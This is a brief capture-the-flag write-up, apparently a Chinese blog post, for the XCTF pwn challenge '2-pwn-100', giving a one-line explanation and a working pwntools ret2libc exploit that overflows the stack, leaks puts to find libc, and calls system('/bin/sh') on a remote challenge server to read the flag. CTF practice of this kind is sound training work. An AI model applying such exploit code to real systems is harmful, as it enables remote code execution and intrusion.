[XCTF-pwn] 2-pwn-100

这个题直接有溢出,溢出到return写上puts(got[puts])+main,得到libc再回来,再system(/bin/sh)

from pwn import *

local = 0
if local == 1:
    p = process('./pwn')
else:
    p = remote('111.200.241.244', 53462)

elf = ELF('./pwn')
context(arch='amd64', log_level='debug')

pop_rdi = 0x0000000000400763 # pop rdi ; ret

payload = flat(b'A'*(0x40+8), pop_rdi, elf.got['puts'], elf.plt['puts'], 0x40068e)
p.send(payload.ljust(200, b'A'))
p.recvline()
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x06f690
print('libc:', hex(libc_base))
system = libc_base + 0x045390
bin_sh = libc_base + 0x18cd57
payload = flat(b'A'*(0x40+8), pop_rdi, bin_sh, system, 0x40068e)
p.send(payload.ljust(200, b'A'))

sleep(0.2)
p.sendline(b'cat /flag')
p.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值